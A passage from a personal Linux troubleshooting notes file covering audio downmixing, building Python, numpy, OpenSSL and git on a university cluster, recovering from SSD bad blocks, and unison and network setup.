in,\n and rebooted. LightDM worked on the next boot.\n Thus, it could also be these \"recovered\" config files that solved the\n issue. Not sure, don't really care.\n\n<!-- ----------------------------->\n# (`unity`) Disable overlay scrollbar\n\n- This disables the overlay scrollbar from popping up\n (and making window resizing difficult),\n while retaining its visual appearance.\n\n This makes the scrollbar unusable, but it's not like I ever used it anyways.\n Mousewheel, page up/page down, and trackpoint scrolling all still work.\n\n```sh\ngsettings set com.canonical.desktop.interface scrollbar-mode 'overlay-touch'\n```\n\n<!-- ----------------------------->\n# Re-enabling sysreq stuff (reisub, etc.)\n\nEdit `/etc/sysctl.d/10-magic-sysrq.conf`. Instructions are there.\n\nI chose the value 502 to enable all but memory dumps.\n\n<!-- ----------------------------->\n# Downmixing stereo to mono (pulseaudio)\n\nTo prevent myself from going insane from listening to recordings with no right channel, or where everything is panned 100% to different sides for some ungodly reason. (I'm looking at you, 419 Eater). (no, really, what do you think this is, the freakin nineties?)\nThis can be done in pulse audio by adding a sink that mixes the channels together.\n\nFrom StackOverflow: (with some edits)\n\n- Find the name of your audio sink by running `pacmd list-sinks | grep name:`.\n- Then run this command:\n\n ```sh\n pacmd load-module module-remap-sink sink_name=mono master=$NAME_OF_AUDIO_SINK channels=2 channel_map=mono,mono\n ```\n\n or add the argument to pacmd to `/etc/pulse/default.pa` (NOTE: \"argument to pacmd\" as in \"everything after pacmd in the command\"), to have it run at startup. Then in Sound Preferences choose \"Mono\" as the output but remember to reduce volumes by half, since two channels are getting mixed into one, or else you'll have distortion. To test, run : `speaker-test -c 2 -t sine`.\n\n<!-- ----------------------------->\n# Attempt to disable vsync\n\nLatest attempt to disable vsync\n\n * added /etc/X11/xorg.conf\n (this was automatically moved to /etc/X11/xorg.conf.02042015 after the\n incident with Optimus detailed below)\n * ccsm >> OpenGL >> Sync to Vblank off\n (this has been reverted)\n * (reboot)\n\nStill no effect even when running vpatch.exe\n\n * In addition, went into BIOS and disabled Optimus and OS Detection for Optimus\n\nThis caused my actual refresh rate to drop to 30, even though\nxrandr and Test UFO reported 60. (note: game reported 30)\n\nAfter entering sleep mode and waking, Xorg hung. (no ctrl alt f2 even)\nComputer had to be hard reset.\n\nBalls to it.\n\n<!-- ----------------------------->\n# Running `pcsx2`\n\n* Found it easier to just download the prebuilt binary than to\n deal with i386 dev packages.\n\n* On attempt to run, many \"modules\" will fail to load, listing\n their requirements. (you need 32-bit versions)\n\n* There were a couple for which I had trouble locating the correct package:\n\n libCg.so\n libCgGL.so\n\n To remedy this, I borrowed them from Steam.\n\n* An apparent runtime dependency...?:\n\n libcanberra-gtk-module\n\n (when not installed, it produces a message in the console output, though\n the program still appears to run. Meh.)\n\n* At this point, running the `launch_pcsx2_linux.sh` script brings up a\n configuration window, and so I'm calling it a night.\n\n (so I technically haven't confirmed it can play!)\n\n<!-- ----------------------------->\n# (OUTDATED) Installing numpy and scipy\n\n## Symptom\n\nAfter setting the BLAS and LAPACK environment variables to point to the\n appropriate libxxx.so (or .a) files, running\n\n pip3 install scipy\n\nmay cause the system to appear to hang.\n\n## Resolution\n\nWait 10 minutes. No really. It *is* compiling, and it *will* finish eventually.\n\nIf you're not convinced, run `top` and look carefully at the PID of the\ninstall process, and notice how it keeps changing (presumably as each\nindividual file is compiled).\n\n**NOTE:** For some reason it was ignoring the BLAS and LAPACK variables\non my ubuntu system\n\n<!-- ----------------------------->\n# Installing numpy and scipy on matisse CORRECTLY!!\n\n**(2015-05-27)**\n\nWhen I actually tried running a sparse matrix linear solver\n(scipy.sparse.linalg.factorized) with the above described setup\non matisse (RPI supercomputer) it ground to a halt.\n\nI took a closer look at the directions in the example-site.cfg provided\nin numpy's source, and figured out a way to link the (extremely effective)\natlas libs.\n\n1. DO NOT bother setting any blas/atlas/lapack-related environment variables.\n DO NOT bother loading any modules.\n\n2. DO bother finding out where libatlas' libraries are installed. On matisse,\n I found them in /usr/lib64/atlas, but they didn't have any versionless\n symlinks (all were `.so.3` or `.so.3.0`, but the linker will only look\n for `.so`) so I had to make my own personal set of links to them without\n version numbers.\n\n3. Make a file ~/.numpy-site.cfg. The only lines I needed were\n\n ```ini\n [blas_opt]\n library_dirs = /home/lampam/data/local-install/lib\n libraries = ptf77blas, ptcblas, atlas\n\n [lapack_opt]\n library_dirs = /home/lampam/data/local-install/lib\n libraries = lapack, ptf77blas, ptcblas, atlas\n ```\n\n (`/home/lampam/data/local-install/lib`, of course, being the location of\n the linked `.so` files without version numbers)\n\n4. Now you can use pip!\n\n pip install numpy\n\n5. Before installing scipy (that takes forever), verify that numpy\n was able to find and link them correctly:\n\n ```text\n $ python3\n Python 3.4.3 (default, Apr 8 2015, 10:26:55)\n [GCC 4.8.1] on linux\n Type \"help\", \"copyright\", \"credits\" or \"license\" for more information.\n >>> import numpy\n >>> numpy.__config__.show()\n atlas_threads_info:\n library_dirs = ['/data/lampam/local-install/lib']\n language = f77\n define_macros = [('ATLAS_INFO', '\"\\\\\"3.8.4\\\\\"\"')]\n libraries = ['lapack', 'ptf77blas', 'ptcblas', 'atlas']\n\n [ ... snip ... ]\n\n blas_opt_info:\n library_dirs = ['/data/lampam/local-install/lib']\n language = c\n define_macros = [('ATLAS_INFO', '\"\\\\\"3.8.4\\\\\"\"')]\n libraries = ['ptf77blas', 'ptcblas', 'atlas']\n atlas_blas_threads_info:\n library_dirs = ['/data/lampam/local-install/lib']\n language = c\n define_macros = [('ATLAS_INFO', '\"\\\\\"3.8.4\\\\\"\"')]\n libraries = ['ptf77blas', 'ptcblas', 'atlas']\n lapack_mkl_info:\n NOT AVAILABLE\n ```\n\n## Update 2015-09-15\n\nIf I ever want to make a full guide for building from scratch, it\nis necessary to include how to build python. Here's a start.\n\n MY_PREFIX=/data/$USER/anywhere-u-like\n\n(and add that-path/bin to your PATH)\nDownload python source from website.\n\n tar -xzf Python-2.7.10.tgz\n cd Python-2.7.10\n ./configure --prefix=$MY_PREFIX\n make && make install\n\nTo install packages easily you want `pip`.\nPython3 will automatically install it.\nPython2 on the other hand appears to *include* it, but does not automatically install it.\nTo install pip after installing Python2.7 (from the command line):\n\n python -m ensurepip\n\n## Update 2018-01-21: Python 3.7 trickiness\n\n**Further updated 2018-08-13 due to even more insanity.**\n\n### `libffi` trickiness\nBuilding python on systems with custom install locations is now a bit trickier than before\nnow that cpython no longer bundles libffi as of 3.7.\n\n#### Symptoms\n\n`make` appears to succeed, but `make install` fails while trying to install pip:\n\n```text\nTraceback (most recent call last):\n File \"/data/lampam/asd/clone/cpython/Lib/runpy.py\", line 193, in _run_module_as_main\n \"__main__\", mod_spec)\n File \"/data/lampam/asd/clone/cpython/Lib/runpy.py\", line 85, in _run_code\n exec(code, run_globals)\n File \"/data/lampam/asd/clone/cpython/Lib/ensurepip/__main__.py\", line 5, in <module>\n sys.exit(ensurepip._main())\n File \"/data/lampam/asd/clone/cpython/Lib/ensurepip/__init__.py\", line 204, in _main\n default_pip=args.default_pip,\n File \"/data/lampam/asd/clone/cpython/Lib/ensurepip/__init__.py\", line 117, in _bootstrap\n return _run_pip(args + [p[0] for p in _PROJECTS], additional_paths)\n File \"/data/lampam/asd/clone/cpython/Lib/ensurepip/__init__.py\", line 27, in _run_pip\n import pip\n File \"/tmp/tmppxo4cj6h/pip-9.0.1-py2.py3-none-any.whl/pip/__init__.py\", line 28, in <module>\n File \"/tmp/tmppxo4cj6h/pip-9.0.1-py2.py3-none-any.whl/pip/vcs/mercurial.py\", line 9, in <module>\n File \"/tmp/tmppxo4cj6h/pip-9.0.1-py2.py3-none-any.whl/pip/download.py\", line 36, in <module>\n File \"/tmp/tmppxo4cj6h/pip-9.0.1-py2.py3-none-any.whl/pip/utils/glibc.py\", line 4, in <module>\n File \"/data/lampam/asd/clone/cpython/Lib/ctypes/__init__.py\", line 7, in <module>\n from _ctypes import Union, Structure, Array\nModuleNotFoundError: No module named '_ctypes'\nmake: *** [install] Error 1\n```\n\nSearching the stdout and stderr of `make` reveals nothing unusual aside from this:\n\n```text\nINFO: Could not locate ffi libs and/or headers\n\nPython build finished successfully!\nThe necessary bits to build these optional modules were not found:\n_lzma _tkinter\nTo find the necessary bits, look in setup.py in detect_modules() for the module's name.\n\n\nThe following modules found by detect_modules() in setup.py, have been\nbuilt by the Makefile instead, as configured by the Setup files:\natexit pwd time\n\n\nFailed to build these modules:\n_ctypes\n\nrunning build_scripts\n```\n\n#### Explanation\n\nThe issue is threefold:\n\n* `_ctypes` is not considered to be a critical component of cpython.\n This is why `make` reports success.\n* Building `_ctypes` depends on libffi. (`ffi.h` and `libffi.so`)\n* Even once libffi is installed,\n cpython's setup.py uses **unconventional means** to search for libffi,\n which will fail if you have it installed to a custom prefix.\n **`CPATH` and `{LD_,}LIBRARY_PATH` are not enough.**\n Instead:\n * When I initially wrote this section (which was probably on an unreleased\n 3.7 alpha?), it looked at **`LDFLAGS` and `LIBFFI_INCLUDEDIR`** (see below).\n * **(update)** In a later attempt to build from the 3.7 release commit,\n I found that it no longer cares about env vars; it NEEDS them to be in the Makefile.\n\n#### Resolution\n\n\n##### Build and Install libffi\n*Don't bother with the github repo* unless you know you have recent-ish autotools,\nbecause the git-hosted source does not include the `configure` script.\nInstead, download it from http://sourceware.org/libffi/ .\n\n<!-- Maybe don't do this?\n\n**Manually install libffi's binary (?):**\nlibffi's `make install` does not install the `libtool` binary,\nwhich will have been written to a directory named after your target triple.\n*I'm not sure if this is required,* but I manually installed this to preempt\nany possible version mismatch issues caused by the existing libtool in /usr/bin.\n-->\n\n<!-- No longer applicable. (initial instructions (2018-01-21))\n\n##### Set the specific env vars that `cpython` is looking for:\n\ncpython's setup.py manually searches for libffi,\nand *does not care about the typical environment vars!*\nInstead, you must do the following:\n\n```bash\n# (note: this can all be done after ./configure)\n\n# notice libffi doesn't put the header under PREFIX/include, but rather under PREFIX/lib\n# where it is versioned.\nexport LIBFFI_INCLUDEDIR=\"/path/to/install-dir/lib/libffi-3.2.1/include\"\n\n# DO NOT PUT A SPACE AFTER -L.\n# SETUP.PY ACTUALLY PARSES THIS.\nexport LDFLAGS=\"-L/path/to/install-dir/lib64 $LDFLAGS\"\n```\n-->\n\n##### Build cpython\n\nTo build the 3.7 release, you need to make sure that the Makefile definition\nfor `LDFLAGS` includes the right -L flag for libffi, and that `LIBFFI_INCLUDEDIR`\nis properly defined.\n\nThese are accomplished by supplying the following variables to `configure`.\n\n```sh\n./configure --enable-optimizations --prefix=$HOME/local-install \\\n CPPFLAGS=\"-I $HOME/local-install/lib/libffi-3.2.1/include\" \\\n LDFLAGS=\"-L$HOME/local-install/lib64\"\n\nmake -j4 && make install\n```\n\n### `openssl`\n\nIf the python build fails due to an out-of-date OpenSSL, don't worry, it's easy to build.\n\n**Git repo:** https://github.com/openssl/openssl\n\n#### Versioning\n\nTheir versioning scheme is weird; instead of a patch number, they have a patch letter.\nThis means that `1.1.0h` is more recent than `1.1.0`.\n\n**On komodo:** I deliberately built an outdated `1.0.2o` release to avoid having to update Perl.\n\n#### Building it shared\n\nThe default is to build a static lib, but that gave me the following when I tried to build cpython:\n\n```\ngcc -pthread -fPIC -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -std=c99 -Wextra -Wno-unused-parameter -Wno-missing-field-initializers -Werror=implicit-function-declaration -fprofile-use -fprofile-correction -DMODULE_NAME=\"sqlite3\" -DSQLITE_OMIT_LOAD_EXTENSION=1 -IModules/_sqlite -I/usr/include -I./Include -I/home/lampam/local-install/include -I. -I/home/lampam/local-install/lib/libffi-3.2.1/include -I/usr/local/include -I/data/lampam/build/cpython/Include -I/data/lampam/build/cpython -c /data/lampam/build/cpython/Modules/_sqlite/connection.c -o build/temp.linux-x86_64-3.7/data/lampam/build/cpython/Modules/_sqlite/connection.o\n/data/lampam/build/cpython/Modules/_sqlite/connection.c: In function ‘_pysqlite_connection_begin’:\n/data/lampam/build/cpython/Modules/_sqlite/connection.c:387: error: implicit declaration of function ‘sqlite3_prepare_v2’\n/data/lampam/build/cpython/Modules/_ssl.c: In function ‘PySSL_get_context’:\n/data/lampam/build/cpython/Modules/_ssl.c:6024: note: file /home/lampam/build/cpython/build/temp.linux-x86_64-3.7/data/lampam/build/cpython/Modules/_ssl.gcda not found, execution counts estimated\ngcc -pthread -shared -L/home/lampam/local-install/lib64 build/temp.linux-x86_64-3.7/data/lampam/build/cpython/Modules/_ssl.o -L/usr/kerberos/lib64 -L/home/lampam/local-install/lib -L/home/lampam/local-install/lib64 -L/usr/local/lib -lssl -lcrypto -ldl -lz -o build/lib.linux-x86_64-3.7/_ssl.cpython-37m-x86_64-linux-gnu.so\n/usr/bin/ld: /home/lampam/local-install/lib64/libssl.a(s3_meth.o): relocation R_X86_64_32 against `a local symbol' can not be used when making a shared object; recompile with -fPIC\n/home/lampam/local-install/lib64/libssl.a: could not read symbols: Bad value\n```\n\nTo resolve this, two flags should be added to the config script.\n\n```\n./config -fPIC shared --prefix=$HOME/local-install\n```\n\n### cython trickiness\n\n#### Symptom\n\n`pip install numpy` fails with\n\n```\nnumpy/random/mtrand/mtrand.c:45541:22: error: ‘PyThreadState’ has no member named ‘exc_type’\n tmp_type = tstate->exc_type;\n ^\nnumpy/random/mtrand/mtrand.c:45542:23: error: ‘PyThreadState’ has no member named ‘exc_value’\n tmp_value = tstate->exc_value;\n ^\nnumpy/random/mtrand/mtrand.c:45543:20: error: ‘PyThreadState’ has no member named ‘exc_traceback’\n tmp_tb = tstate->exc_traceback;\n ^\nnumpy/random/mtrand/mtrand.c:45544:11: error: ‘PyThreadState’ has no member named ‘exc_type’\n tstate->exc_type = local_type;\n ^\nnumpy/random/mtrand/mtrand.c:45545:11: error: ‘PyThreadState’ has no member named ‘exc_value’\n tstate->exc_value = local_value;\n ^\nnumpy/random/mtrand/mtrand.c:45546:11: error: ‘PyThreadState’ has no member named ‘exc_traceback’\n tstate->exc_traceback = local_tb;\n ^\nerror: Command \"gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -fPIC -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE=1 -D_LARGEFILE64_SOURCE=1 -Inumpy/core/include -Ibuild/src.linux-x86_64-3.7/numpy/core/include/numpy -Inumpy/core/src/private -Inumpy/core/src -Inumpy/core -Inumpy/core/src/npymath -Inumpy/core/src/multiarray -Inumpy/core/src/umath -Inumpy/core/src/npysort -I/home/lampam/data/local-install/include/python3.7m -Ibuild/src.linux-x86_64-3.7/numpy/core/src/private -Ibuild/src.linux-x86_64-3.7/numpy/core/src/npymath -Ibuild/src.linux-x86_64-3.7/numpy/core/src/private -Ibuild/src.linux-x86_64-3.7/numpy/core/src/npymath -Ibuild/src.linux-x86_64-3.7/numpy/core/src/private -Ibuild/src.linux-x86_64-3.7/numpy/core/src/npymath -c numpy/random/mtrand/mtrand.c -o build/temp.linux-x86_64-3.7/numpy/random/mtrand/mtrand.o -MMD -MF build/temp.linux-x86_64-3.7/numpy/random/mtrand/mtrand.o.d\" failed with exit status 1\n```\n\n#### Explanation\n\nPython 3.7 removed some private data members, and code generated by cython 0.26 tries to access them.\n\nThis is fixed on the cython master branch.\n\n#### Resolution\n\nBy the next time I read this text, the fix will probably already be released.\n\nBut in case it still isn't:\n\n- You could install python 3.6 instead.\n\n- What I did was keep the bad installation dir from pip,\nand regenerate the offending C file with cython built from master.\n\n```sh\nTMPDIR=./tmp pip3 install numpy --no-clean\ncd tmp/pip-build-thzr3yxe/numpy\n\n# regenerate using cython built from git master\ncython --version # make sure it's 0.28a or later\nrm numpy/random/mtrand/mtrand.c\ncython numpy/random/mtrand/mtrand.pyx\n\n# install numpy with this correction\npip3 install . --upgrade\n```\n\nScipy will have a similar problem with many files.\n\n```sh\nTMPDIR=./tmp pip3 install scipy --no-clean\ncd tmp/pip-build-dr5ywmqe/scipy\n\n# cythonize will refuse to regenerate some files until you delete this\nrm cythonize.dat\n\npip3 install Tempita\npython3 tools/cythonize.py # regen everything with the correct flags\npip3 install . --upgrade\n```\n\n### `openssl` certification problems when using `pip` on komodo (2018-08-13)\n\n```\nCollecting bottleneck\n Downloading https://files.pythonhosted.org/packages/05/ae/cedf5323f398ab4e4ff92d6c431a3e1c6a186f9b41ab3e8258dff786a290/Bottleneck-1.2.1.tar.gz (105kB)\n 100% |████████████████████████████████| 112kB 3.0MB/s\n Complete output from command python setup.py egg_info:\n Download error on https://pypi.python.org/simple/numpy/: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1045) -- Some packages may not be found!\n Couldn't find index page for 'numpy' (maybe misspelled?)\n Download error on https://pypi.python.org/simple/: [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed: unable to get local issuer certificate (_ssl.c:1045) -- Some packages may not be found!\n No local packages or working download links found for numpy\n```\n\n...*Sigh.* Yeah, looks like my method of building/installing libssl was not quite right?\n\nThings I tried:\n\n* Making doubly-damn sure my newly built `libssl` was linked right (checking cpython build output for -L flags, checking `LIBRARY_PATH/LD_LIBRARY_PATH`, etc.)\n* Adding `--trusted-host pypi.org --trusted-host pypi.python.org --trusted-host files.pythonhosted.org` to the pip call\n* Copying over files that appeared to be missing from `<ssl-install-prefix>/ssl`. (the contents of `ssl/certs`, and `ssl/cert.pem`. I used `rsync -Lr` to resolve symlinks when copying from my Arch Linux's `/etc/ssl`)\n* Doing the above, and additionally supplying `--cert $HOME/local-install/ssl/cert.pem` to pip.\n* Triple checking the location of every single executable involved in the invocation of pip\n\nNone of it appeared to have any effect at all; I still have the exact same error message. So I'm just going to have to copy over individual packages and install them manually. Ho, hum.\n\n(These kind of twilight zone issues where nothing ever changes are usually a sign of serious PEBKAC... but merely knowing it's probably my fault isn't enough to help me find it!)\n\n### 'h5py' trickiness\n\nattempt to install `h5py` ends with\n\n```\n File \"/home/lampam/data/local-install/lib/python3.7/site-packages/setuptools/command/bdist_egg.py\", line 355, in analyze_egg\n safe = scan_module(egg_dir, base, name, stubs) and safe\n File \"/home/lampam/data/local-install/lib/python3.7/site-packages/setuptools/command/bdist_egg.py\", line 395, in scan_module\n symbols = dict.fromkeys(iter_symbols(code))\n File \"/home/lampam/data/local-install/lib/python3.7/site-packages/setuptools/command/bdist_egg.py\", line 414, in iter_symbols\n for name in code.co_names:\n AttributeError: 'bool' object has no attribute 'co_names'\n```\n\nand it is at this point I said \"fuck it\"\n\n<!-- ----------------------------->\n# VIM CommandT plugin\n\nFor searching files\n\n(get pathogen first; it lets you install vim plugins by cloning\n an appropriately-structured repo into .vim)\n\n```sh\nsudo apt-get install rake ruby-dev\n\ncd ~/.vim/bundle\ngit clone https://github.com/wincent/command-t.git\n\ncd command-t\ngit submodule init\ngit submodule update\n\nmake\n\ncd ruby/command-t\nruby extconf.rb\nmake\n```\n\nI also had trouble with another plugin (TaskList) stealing the `<Leader>t`\nkeybind. The solution was to explicitly map something to `<Plug>TaskList`\nin `~/.vimrc` (`:TaskList<CR>` won't do), as `TaskList` only sets its own\ndefault keybinds when the user hasn't set one.\n\n<!-- ----------------------------->\n# INPUT/OUTPUT ERROR (bad blocks)\n\n(**2015-05-24**)\n\nThe night before finishing my backup scripts (the irony), my laptop incurred\na small fall, and a couple of files on my SSD had become compromised by bad\nblocks (whether or not these two events are actually related is anyone's\nguess!). This caused a number of tools to spit out the phrase \"Input/output\nerror\" when attempting to read certain files, including `rsnapshot` (which\nran the day prior with zero errors).\n\n(note this was from a 1 foot drop onto a carpeted floor. Clearly I should\n have dropped it from a 3rd story building instead!\n https://youtu.be/j4cK0L__B9U )\n\nHere is how I identified and dealt with them.\n\n## Identifying bad blocks\n\nBad blocks can be identified with the tool `badblocks`. The affected drive\nmust be unmounted (this means booting via a live USB if the affected\nfilesystem is /).\n\nYou must supply `badblocks` with an appropriate block size (or prepared to\nconvert the numbers it gives you!) To determine your drive's block size:\n\n```text\n# tune2fs -l /dev/sdXY | grep Block\nBlock count: 61035008\nBlock size: 4096\nBlocks per group: 32768\n```\n\nSupply it with the `-b` option to `badblocks`:\n\n```sh\nbadblocks -vs -b 4096 -o badblocks.log /dev/sdXY\n```\n\n(`-s` gives a progress meter, `-v` is verbose)\n\n## Identifying owners of bad blocks\n\n(it is okay for the drive to be mounted during this)\n\nTHE FOLLOWING IS FOR ext2/ext3/ext4 FILESYSTEMS ONLY.\nYou can find the corresponding inodes and files via `debugfs`, which works\nlike an interpreter. The command `icheck` maps blocks to the inodes that\nown them, while `ncheck` maps inodes to files.\n\n```text\n# debugfs\ndebugfs 1.41.3 (12-Oct-2008)\ndebugfs: open /dev/sdc1\ndebugfs: icheck 15757325 15757340 15765044 15765082 15765209 16093175\nBlock\tInode number\n15757325\t3542957\n15757340\t3542957\n15765044\t3934205\n15765082\t3934229\n15765209\t3934333\n16093175\t3156031\ndebugfs: ncheck 3542957 3542957 3934205 3934229 3934333 3156031\nInode\tPathname\n3156031\t/usr/lib/llvm-3.4/lib/libLLVMAnalysis.a\n3542957\t/usr/local/lib/python2.7/dist-packages/numpy/core/multiarray.so\n3542957\t/usr/local/lib/python2.7/dist-packages/numpy/core/multiarray.so\n3934205\t/usr/share/doc/mousetweaks/NEWS.gz\n3934229\t/usr/share/doc/nano/faq.html\n3934333\t/usr/share/doc/openssh-client/faq.html\n```\n\n## Resolving the badblocks\n\nIn my case, all the bad blocks above are in files that belong to programs\nwhich could be reinstalled, so I reinstalled them\n(`sudo apt-get install --reinstall`, `sudo pip2 install --force --upgrade`),\ncausing new versions to be written into healthy blocks.\n\nI checked `debugfs` to watch the blocks become unused. To my surprise, a\ncouple were re-used by the \"updated\" files. I'm not too sure how to\ninterpret this; perhaps those blocks may have been healthy after all (they\njust needed to be written to again). Or maybe the device remapped them to\nsafe blocks at an even lower level than is visible in these tools. I'm\nnot sure how it all works. :P\n\n(I plan to check by running badblocks again, but I can't promise I'll\n come back to update this)\n\n## UPDATE 2016-05-01\n\nSomething kind of funny: Take a look at this failed file list:\n\n```text\nERROR: home/lampam/Dropbox/ARTZ/FMBA/[LonE]_Nakagawa_Shoko_-_Fullmetal_Alchemist_Brotherhood_ED5_Single_-_RAY_OF_LIGHT_[w_scans]_(FLAC)/Scans/05.jpg failed verification -- update discarded.\nERROR: home/lampam/dd-vaspruns/true-relax/WHAT-IS-WRONG/All-0.1-1e-5-1e-4-5/1.27/stubborn-workdir/WAVECAR failed verification -- update discarded.\nERROR: home/lampam/dd-vaspruns/true-relax/WHAT-IS-WRONG/Damped-0.4-1e-5-1e-4-0/1.27/stubborn-workdir/WAVECAR failed verification -- update discarded.\n```\n\nInteresting how two of the paths are so similar. Not sure what to make of it... pure coincidence?\n\n<!-- ----------------------------->\n# Installing git on komodo\n\n(**2015-05-26**)\n\n**(FAILED ATTEMPT - KEPT FOR HISTORICAL PURPOSES ONLY)**\n\nA naive build from source with no special flags resulted in this:\n\n [lampam@komodo build]$ git clone https://github.com/ExpHP/circuit.git\n Cloning into 'circuit'...\n fatal: Unable to find remote helper for 'https'\n\nHad to build libcurl.\n\n## building `libcurl`\n\n**HUGE P.S.:** I just now noticed `/usr/local` on matisse doesn't have anything\nin it, so the ssl flag below only enabled ssl (without correctly specifying\nwhich copy to link). I *intended* to set `--with-ssl=/usr`, as that appeared\nto be the newest copy.\n\nConfigured curl with the following:\n(not sure if `ssl` was required for `git`.\n The `./buildconf` instruction is mentioned in a file called `GIT-INFO`)\n\n # after unpacking a source archive from https://github.com/bagder/curl\n cd curl-master\n ./buildconf\n ./configure --prefix=/home/lampam/data/local-install --with-ssl=/usr/local\n\nBuilding eventually resulted in this error:\n\n gcc -DHAVE_CONFIG_H -I../include/curl -I../include -I../include -I../lib -I../lib -DBUILDING_LIBCURL -DCURL_HIDDEN_SYMBOLS -I/usr/kerberos/include -fvisibility=hidden -O2 -Wno-system-headers -MT libcurl_la-openssl.lo -MD -MP -MF .deps/libcurl_la-openssl.Tpo -c vtls/openssl.c -fPIC -DPIC -o .libs/libcurl_la-openssl.o\n vtls/openssl.c: In function 'ssl_msg_type':\n vtls/openssl.c:1490: error: 'SSL3_MT_NEWSESSION_TICKET' undeclared (first use in this function)\n vtls/openssl.c:1490: error: (Each undeclared identifier is reported only once\n vtls/openssl.c:1490: error: for each function it appears in.)\n\nRESOLUTION was -- and I kid you not -- opening `vtls/openssl.c`, finding the\n line for `#include <openssl/ssl.h>` and adding `#include <openssl/ssl3.h>`\n under it. (apparently, some versions of the `ssl` library include `ssl3.h`\n from `ssl.h`. This one evidentally doesn't.)\n\n## building `git`\n\nIf you have already built a (non-working) version of `git`, you MUST `make clean` before continuing:\n\n make clean\n\n # in an unpacked source archive from https://github.com/git/git\n ./configure --prefix=/home/lampam/data/local-install --with-curl=/home/lampam/data/local-install\n make && make install\n\n(NOTICE: I spotted the following warnings during the build. Probably something easily addressed, but\n I'm not too worried as git seems to be working fine regardless)\n\n /usr/bin/ld: warning: libssl.so.1.0.0, needed by /home/lampam/data/local-install/lib/libcurl.so, may conflict with libssl.so.6\n /usr/bin/ld: warning: libcrypto.so.1.0.0, needed by /home/lampam/data/local-install/lib/libcurl.so, may conflict with libcrypto.so.6\n\nUsing `git` afterwards required this:\n\n LD_LIBRARY_PATH=/cm/local/apps/openssl/lib64/\n\n**Update:** It doesn't work.\n`git clone` says it is cloning but then simply does nothing and returns.\n\nThe version of ssl in `/usr` is actually not the most recent. (`ssl3.h` for\nthat version lacks `SSL3_MT_NEWSESSION_TICKET`!!!). So you do want to link\nagainst the one in `/cm/local/apps/openssl/lib64/` from the start.\n\nBut even with that modification, the steps above still don't produce\na working copy of `git`. I give up.\n\n<!-- ----------------------------->\n# Laptop not entering sleep mode\n\n**(2015-06-11)**\n\nsome tags: sleep, ThinkPad\n\nFinally found it!!!!!!!!!!!!!\n\nThe issue is with the module `e1000e` (for the networking card).\nI found it is sufficient to simply restart it. I.e.\n\n sudo rmmod e1000e\n sudo modprobe e1000e\n\n**EDIT:** oops, looks like I already found this out (it's one of the first entries in this file!)\n\n**NOTE TO SELF:** Don't just write documentation. **_Use it!!!_**\n\n<!-- ----------------------------->\n# `unison` version antics\n\n**(2015-08-03)**\n\nBecause unison versions on both hosts must match (and putting it on the\nremote servers involves laboriously compiling it on every machine), I\nmarked the `unison` and `unison-gtk` packages as held at version 2.40.102.\n\n## Additional notes (2015-08-15)\n\nNot only must the version of `unison` match, but they must be built\nagainst the same version of `ocaml` as well!\n\n**On remote computer:**\n - Go check what versions of ocaml/unison are available on the repos for your own computer first to make\n life easier; Building the gtk client on your own is unfun.\n - ocaml: go to https://ocaml.org/releases/, pick a version, page has direct link to a source tarball.\n ```sh\n ./configure -prefix /where/to/install\n make world.opt\n make world # added 28 Jan 2016; see note below\n make install\n ```\n (NOTE: according to the ocaml docs, world.opt is intended to be equivalent to\n \"make world opt opt.opt\"\n\n - unison: go to http://www.cis.upenn.edu/~bcpierce/unison/download.html, the buttons underneath\n \"official releases\" point to file-serving pages from which a tarball is available.\n ```sh\n make UISTYLE=text\n ```\n\n**On own computer:**\n - If at all possible, get from the repos instead (but ocaml/unison versions MUST match the servers).\n But if you must build it, you need...\n\n - ocaml: see above for On Server\n\n - camlp4: https://github.com/ocaml/camlp4\n need to checkout a branch corresponding to ocaml version\n make all\n make install\n\n - lablgtk2: http://lablgtk.forge.ocamlcore.org/\n I think lablgtk2 is sensitive to ocaml version as well, but so far as I can tell the only way to\n figure out the right version is to scour the changelog (linked underneath the latest source download).\n You're on your own here. When I built 2.14 with ocaml 4.02, there was no indication of any issue at\n all until I finished compiling unison and ran it (at which point it segfaulted)\n `make` target is `world`\n\n * NOTE: I needed libgtk2.0-dev (NOT libgtk-3-dev)\n * NOTE: (28 Jan 2016) When I tried following these notes, I got\n configure: error: Cannot find camlp4o\n and saw that /usr/local/camlp4o.opt exists but not /usr/local/camlp4o .\n * No, you can't fix this with a symlink. (camlp4o \"doesn't know what to do with xxx.cmo\")\n * The following did work for me:\n - go to ocaml build dir, 'make world' and 'make install'\n - go to camlp4 build dir, './configure', 'make', 'make install'\n After which /usr/local/camlp4o exists.\n * So contrary to what the ocaml docs say, I do not believe 'make world.opt' includes\n 'world' (and if you look at the Makefile, it doesn't; at least not directly...)\n\n - unison: `make`\n The very first line it prints will be `UISTYLE = gtk2` if the right dependencies were met,\n or `UISTYLE = text` otherwise.\n (if you build it yourself like this, the binary will be `unison`, not `unison-gtk`)\n * DON'T BE ROOT for `make install` as it defaults to $HOME/bin, surprisingly\n\n\n## Update 2016-01-28\nOn my desktop PC I had to move the unison binaries afterwards from ~/bin to\n/usr/local/bin, because otherwise I would get 'bash: unison: command not found' when\nattempting to connect to the PC remotely with unison. I haven't the slightest idea why,\nthough, because it works just fine on the supercomputers (maybe they have a setting that\ncauses .bashrc to get sourced whereas my desktop pc doesnt?)\n\n<!-- ----------------------------->\n# ssh hosts\n\n**(2015-08-03)**\n\nHost aliases for ssh go in `.ssh/config`, which I keep in the data dir here.\n\n## Update (2016-01-20)\n\nFor reliably connecting to computers on the local network, give them static IPs. See below.\n(while you CAN just use their hostnames under certain (unknown) conditions, I found that it is\n possible for the hostname to instead resolve to the router's outward, internet-facing IP)\n\n<!-- ----------------------------->\n# Setting a static IP\n\n**(2016-01-20)**\n\n**Update:** The section on DHCP reservation may be a better alternative.\n\n**Note added 2018:** Take this section and the DHCP section with a grain of salt.\nI recall that I never got this to work satisfactorily.\n\nStatic IPs and DHCP can in fact coexist! This is because DHCP only assigns from a limited range.\nYou can safely choose any address in the local subnet except for the following:\n\n 192.168.1.0 - This identifies the subnet as a whole\n 192.168.1.100-49 - These are the DHCP addresses\n 192.168.1.255 - Broadcast address\n\nIn the Edit Connection dialog for your SSID, under the \"IPV4 Settings\" tab, set Method = Manual,\nand address to whatever you want (given the restrictions 